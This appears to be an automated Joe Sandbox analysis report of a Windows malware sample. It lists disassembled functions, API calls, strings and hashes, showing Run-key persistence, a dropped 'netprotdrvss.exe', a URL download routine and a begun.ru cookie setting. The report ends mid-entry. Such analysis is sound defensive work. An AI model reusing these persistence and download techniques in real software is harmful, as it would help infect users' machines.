Opcode Fuzzy Hash: 27e6cc8fbb92a4a1dc8a331001041fcfa920682934159512c1d60e9f15f909f3
Instruction Fuzzy Hash: 8C4127719042186AE710B7A19D46FAB73ACEF04345F14447BBB05F11C2EB789A548AAF

Function 0040AC20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,771B0900,00000400,00000000, /nomove,?,0040AB30,?,?,0040B3E5), ref: 0040AC44
RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000001,00000000,?,0040AB30,?,?,0040B3E5), ref: 0040AC72

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Strings

/nomove, xrefs: 0040AC23
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 0040AC39, 0040AC3E, 0040AC6C
IueiOod, xrefs: 0040AC50, 0040AC82

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: /nomove$IueiOod$SOFTWARE\Microsoft\Windows\CurrentVersion\Run
API String ID: 3546245721-4228964922
Opcode ID: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction ID: 3bac8edf5f415b784fe4546894dc74dc09b9405a13c640cee1cd261e7a9a2bb6
Opcode Fuzzy Hash: e183a9483fa9f7ba9bb43204af9f8e84b77f88267b9ccf7be8296576afd26502
Instruction Fuzzy Hash: 5F01867265430EFEFF1096919D42F9A736CDB40768F210036FA00B60D1D6B6AE155779

Function 0040AAFD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?,0040B3E5), ref: 0040AB0A
GetModuleFileNameW.KERNEL32(00000000,?,00000820,00000400,?,0040B3E5), ref: 0040AB44
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB57
CharLowerW.USER32(?,?,0040B3E5), ref: 0040AB60

Strings

/nomove, xrefs: 0040AB10

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: CharLower$CommandFileLineModuleName
String ID: /nomove
API String ID: 1338073227-1111986840
Opcode ID: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction ID: b8029fc6669f79c45f6caaa8ce38406425976cf3cabd4088da44db58d281c6d8
Opcode Fuzzy Hash: 00c7a09b5e38cd9dc17e43fc8aab8f350de87f2bf6048177a511846302a86bad
Instruction Fuzzy Hash: 7CF01D7290022956DB10A7B19C05BDB72ACFF40309F0445B6AA05F2180ED78EA548F95

Function 00407727 Relevance: 6.1, APIs: 4, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,771B0900,00000400,00000000,0040B4B3,00000000), ref: 00407744
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 00407784
GetLastError.KERNEL32(00000004), ref: 004077A9

Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000400), ref: 004075FC
Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: File$Create$EnvironmentErrorExpandLastModuleNameStrings
String ID:
API String ID: 1536607067-0
Opcode ID: eafcbf4a8c3930913d522f5c7b72beb30a71f0d0c1af5e3f4189f884763461bb
Instruction ID: de8f4f1c442ba604be96c6aabbb627c7d922d162aa2fadd5385f895ae0141ebd
Opcode Fuzzy Hash: eafcbf4a8c3930913d522f5c7b72beb30a71f0d0c1af5e3f4189f884763461bb
Instruction Fuzzy Hash: AD11E972908249AED720D7A19C81FEB739CFB44354F10483BFB95E30D0E678B945866B

Function 004077F0 Relevance: 3.0, APIs: 2, Instructions: 30
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00407800
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,?,?,?,?,00000400), ref: 0040781B

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: CreateProcess_memset
String ID:
API String ID: 1177741608-0
Opcode ID: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction ID: 3694313203bda926a09df6f19e1a61ce713b6a49f930e6e3ed03be73a1123fdc
Opcode Fuzzy Hash: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction Fuzzy Hash: 1DE048B294113876DB20A6E69C0DDDF7F6CDF06694F000121BA0EE50C4E5749608C6F5

Function 004069C0 Relevance: 3.0, APIs: 2, Instructions: 25
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction ID: 7cb27e63b8b96f7a1a34dd7d249ffcc2d4336ce0f7aa5f451266b78b49120899
Opcode Fuzzy Hash: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction Fuzzy Hash: DCE06D7A000208BBEF104F94CD09BD97BB9EB44358F208464BA00A6150D67596149B14

Non-executed Functions

Function 00407036 Relevance: 16.6, APIs: 11, Instructions: 97
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?), ref: 00407043
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000), ref: 0040705D
GetLastError.KERNEL32 ref: 00407079
SetEndOfFile.KERNEL32(?), ref: 0040708F
InternetOpenUrlW.WININET(?,?,00000000,80000000,00000000), ref: 004070A9
CloseHandle.KERNEL32(?), ref: 004070BB

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: File$CloseCreateDeleteErrorHandleInternetLastOpen
String ID:
API String ID: 3711279109-0
Opcode ID: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction ID: 9d8a11a16b3c0a9aa44c9dcc38c8aa686dfb91ece0f3f59227d733df7bad94bb
Opcode Fuzzy Hash: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction Fuzzy Hash: 48313471800119EFEB119FA1DE85AEE7BBDFB04344F104872F652B61A0D731AE21DB66

Function 00407499 Relevance: 9.1, APIs: 6, Instructions: 62timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 004074AD
GetLocalTime.KERNEL32(?), ref: 004074B3
GetTimeZoneInformation.KERNEL32(?), ref: 004074EA
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407525
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040752F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040754A

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Time$FileLocalSystem$InformationUnothrow_t@std@@@Zone__ehfuncinfo$??2@
String ID:
API String ID: 3777474486-0
Opcode ID: bce84979032c395480666c2d60b9174811821601ee86a2001902def64962fbd3
Instruction ID: c9ff0a62426275c5a0d4f0aa0fa2549fa158b312224671bef63f429b7f92df75
Opcode Fuzzy Hash: bce84979032c395480666c2d60b9174811821601ee86a2001902def64962fbd3
Instruction Fuzzy Hash: 03112C72D1022DAADF00EBD4DC44AEEB7FCBF48314F04445AE901B7240E7B9A608CBA5

Function 00407267 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,000003E8,?,?,?,?,?,?,?,?,?,?,?,00407B63,?), ref: 0040727C
SystemTimeToFileTime.KERNEL32(?,?,?,000003E8,?), ref: 004072C1
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 004072CB
__aulldiv.LIBCMT ref: 004072E3

Strings

c{@, xrefs: 004072D3

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Time$System$File$__aulldiv
String ID: c{@
API String ID: 3735792614-264719814
Opcode ID: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction ID: ef19eb4ac8525f4bf2260e0142840e6d018c3cac6eb9bd4f47b1f5cd165e8a78
Opcode Fuzzy Hash: a145c05d1847671377470c3096bfc685d9fda3d476ef25e64420ea8c3ac11d0d
Instruction Fuzzy Hash: D401DE62D1022DAACB01DFE4D984CEFB77DFF44348B00156AE901F7250E7B5AA4887A5

Function 0040A057 Relevance: 4.5, APIs: 3, Instructions: 40comCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0040A065
CoCreateInstance.OLE32(0040E218,00000000,00000015,0040E238,?), ref: 0040A07E
SetForegroundWindow.USER32(00000000), ref: 0040A088

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: ForegroundWindow$CreateInstance
String ID:
API String ID: 2498160819-0
Opcode ID: 82b24d427a4319f76012a439117db5c4ff365e6f2f98325e2b41cf4565e173f1
Instruction ID: 3fc8f4a2167e7ffe653cafe2f971d35c6ed40139ecea7ac55ee7c5b8babae7fd
Opcode Fuzzy Hash: 82b24d427a4319f76012a439117db5c4ff365e6f2f98325e2b41cf4565e173f1
Instruction Fuzzy Hash: E8F03C71640208FFD7049FA6CD8DC5ABBFCEF9970172009AAF101EB290D6755950DA25

Function 00406CB5 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00406CCF

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 55562b46774a615dc2e97dfe1c8d2773bede11335cf8e3c3be8baa064d73f36a
Instruction ID: 5612040357c07126fa19026aaffe8c4f09115318cb9d2fe7a616e1c4ae3a2977
Opcode Fuzzy Hash: 55562b46774a615dc2e97dfe1c8d2773bede11335cf8e3c3be8baa064d73f36a
Instruction Fuzzy Hash: C9E04FB2D4011D5BDB1C9B60EE47BD9BBF8EB11304F0140E6D746E5180E6B8DB848F95

Function 0040B51C Relevance: .7, Instructions: 666COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a180277a47174503745c50212eccdbe59cf0734582742268f170c434fce9886
Instruction ID: 218ff2483168da8b183dc8d255f139c90e55d0551e3cd34b08f9c15d5f680e8f
Opcode Fuzzy Hash: 6a180277a47174503745c50212eccdbe59cf0734582742268f170c434fce9886
Instruction Fuzzy Hash: FB423CB6E413099FDB08CFD6D8C09DCB7B3FFD8314B1A91A9C505A7316D6B87A068A50

Function 0040B096 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181
threadnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000,00000000,00000000,00000000,?,0040B320,00000000,?,0040B3E0), ref: 0040B103
InternetSetPerSiteCookieDecisionW.WININET(begun.ru,00000005), ref: 0040B16F
GetLastError.KERNEL32(00000004,?,0040B320,00000000,?,0040B3E0), ref: 0040B188
CreateThread.KERNEL32(00000000,00000000,Function_0000B023,?,00000000,00000000), ref: 0040B1C3

Strings

begun.ru, xrefs: 0040B16A
\netprotdrvss.exe, xrefs: 0040B12D, 0040B293

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: CookieCreateDecisionErrorFileInternetLastModuleNameSiteThread
String ID: \netprotdrvss.exe$begun.ru
API String ID: 2887986221-2660752650
Opcode ID: ad6e69e745eb0134cfaa1d61605679bf99b5aa58cc3a10e76cbc4c8091dfe4a8
Instruction ID: dc85dbecd2d93a1c92e95c54703b850062b4355e184197ecdf44903e32880826
Opcode Fuzzy Hash: ad6e69e745eb0134cfaa1d61605679bf99b5aa58cc3a10e76cbc4c8091dfe4a8
Instruction Fuzzy Hash: 4351F571A00218BBEB206F65DC89AAF3769EB44349F00447BF904BA1D1D77C8D51CBAE

Function 00409C99 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 127
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenUrlW.WININET(?,hOA,?,00000000,04400000,00000000), ref: 00409CCB
GetProcessHeap.KERNEL32(00000000,00002001,?,?,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF4
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409CF7
InternetReadFile.WININET(?,?,00001000,?), ref: 00409D6E
GetProcessHeap.KERNEL32(00000000,00000002,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D80
HeapAlloc.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409D83
GetProcessHeap.KERNEL32(00000000,00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE3
HeapFree.KERNEL32(00000000,?,00406FE2,?,?,?,?,?,?,00000000,00000000), ref: 00409DE6

Strings

hOA, xrefs: 00409CC5

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Heap$Process$AllocInternet$FileFreeOpenRead
String ID: hOA
API String ID: 1355009786-3485425990
Opcode ID: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction ID: 638041e7f74e2b46c75c1535d5ef76f15aa532bf5b3977fbb34850ab96fc5943
Opcode Fuzzy Hash: 786a5954c9ab5f0fe889d4d88a95b872a4b6a838963cd3095893ed4ca2eaaa4a
Instruction Fuzzy Hash: 1B418B71900209FFEB119F65C844BAA7BA9FF44355F14847AF819E6292E778CE80CF54

Function 00406E69 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00406E78

Strings

From: , xrefs: 00406F8E
Page generated at: , xrefs: 00407000
^nocrypt, xrefs: 00406F5C
0, xrefs: 00406EF5
hOA, xrefs: 00406E7E
Via: , xrefs: 00406FAF
^key=, xrefs: 00406F2E
8@, xrefs: 00406ED2
.html, xrefs: 00406F14

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: CountTick
String ID: .html$0$8@$From: $Page generated at: $Via: $^key=$^nocrypt$hOA
API String ID: 536389180-1762329985
Opcode ID: 84a0e12b251b3718d34eddf76b775ad89a92ce41e4fff3615f2568cd6720db27
Instruction ID: 73e0daeea7a9f5f4b783dd0519eebdf5205f1bdf48cad4214514e0173d2ce6b9
Opcode Fuzzy Hash: 84a0e12b251b3718d34eddf76b775ad89a92ce41e4fff3615f2568cd6720db27
Instruction Fuzzy Hash: 27416131A0161997CB25EBA2DC51BDE7369FF44308F0044BFB909B71C1EA78AE948F59

Function 00405229 Relevance: 16.6, APIs: 3, Strings: 8, Instructions: 134
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00002710), ref: 00405366
Sleep.KERNEL32(00009C40), ref: 00405383
Sleep.KERNEL32(00004E20), ref: 004053D0

Strings

From: , xrefs: 00405318
hOA, xrefs: 00405305
Via: , xrefs: 0040533C
^key=, xrefs: 004052D0
8@, xrefs: 00405275
CsM, xrefs: 004053B2
.html, xrefs: 004052B4
ftp, xrefs: 004052C5

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Sleep
String ID: .html$8@$CsM$From: $Via: $^key=$ftp$hOA
API String ID: 3472027048-1081452883
Opcode ID: 74b6ecad85d8563e453e52ab39e53749c12d05251352443c8ee161ef9de2affd
Instruction ID: 3376cbd9a830c5581772f61034da1910d267ee329a165acd0f4726bddbbbde03
Opcode Fuzzy Hash: 74b6ecad85d8563e453e52ab39e53749c12d05251352443c8ee161ef9de2affd
Instruction Fuzzy Hash: 4E419431A0091887CB24E7A29D529EF73A9EF40318F54407FE905B71D1EA7C9E898F5D

Function 00409301 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CharLowerW.USER32(?,?,?,?,?,?), ref: 0040933E
SysFreeString.OLEAUT32(?), ref: 00409359
SysFreeString.OLEAUT32(?), ref: 00409362
SysAllocString.OLEAUT32(?), ref: 004093B8
SysAllocString.OLEAUT32(javascript), ref: 004093C1
SysFreeString.OLEAUT32(00000000), ref: 004093E3
SysFreeString.OLEAUT32(00000000), ref: 004093E6

Strings

javascript, xrefs: 004093BA
http:, xrefs: 00409347

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: String$Free$Alloc$CharLower
String ID: http:$javascript
API String ID: 1987340527-3435494457
Opcode ID: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction ID: 0b4048b57b081e67726dd44363989906ad2532c65c6ed0c60c908aefe346602b
Opcode Fuzzy Hash: 713b06055eefad9f5422e5b9f5fb5af6d58bbbe1ec79e9ea68907389bd6c3b4b
Instruction Fuzzy Hash: 6A310A71A00119AFDB04DFA6C889EAEB7B8EF48314B144469E805EB291D775AD41CF64

Function 00406ADF Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 136
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406B2A

Part of subcall function 004069C0: RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,00000000,7686E9B0,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?), ref: 004069E3
Part of subcall function 004069C0: RegCloseKey.KERNELBASE(00000000,?,?,?,0040AC8C,IueiOod,?,?,0040AB30,?,?,0040B3E5), ref: 004069ED

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406B8C
RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000), ref: 00406C17

Strings

SOFTWARE\Classes\MIME\Database\Content Type\, xrefs: 00406AF6, 00406B5D, 00406BE8
text/javascript, xrefs: 00406BF3
CLSID, xrefs: 00406B3B, 00406B40, 00406B9D, 00406BB5, 00406C28, 00406C40
text/html, xrefs: 00406B01
application/x-javascript, xrefs: 00406B68

Memory Dump Source

Source File: 00000001.00000002.1255165038.0000000000405000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1255148461.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255165038.0000000000409000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255221038.000000000040E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1255244276.0000000000411000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_cOviNFmw21.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: CLSID$SOFTWARE\Classes\MIME\Database\Content Type\$application/x-javascript$text/html$text/javascript
API String ID: 3546245721-1332223170
Opcode ID: b8f2284a7884e1d84c5472764473ad81ef61371c27a8aebe337e069d7a055d2a
Instruction ID: b356448af2dda310db5a41c348b39e69e2b2ee30590ea213815e442ef4722270
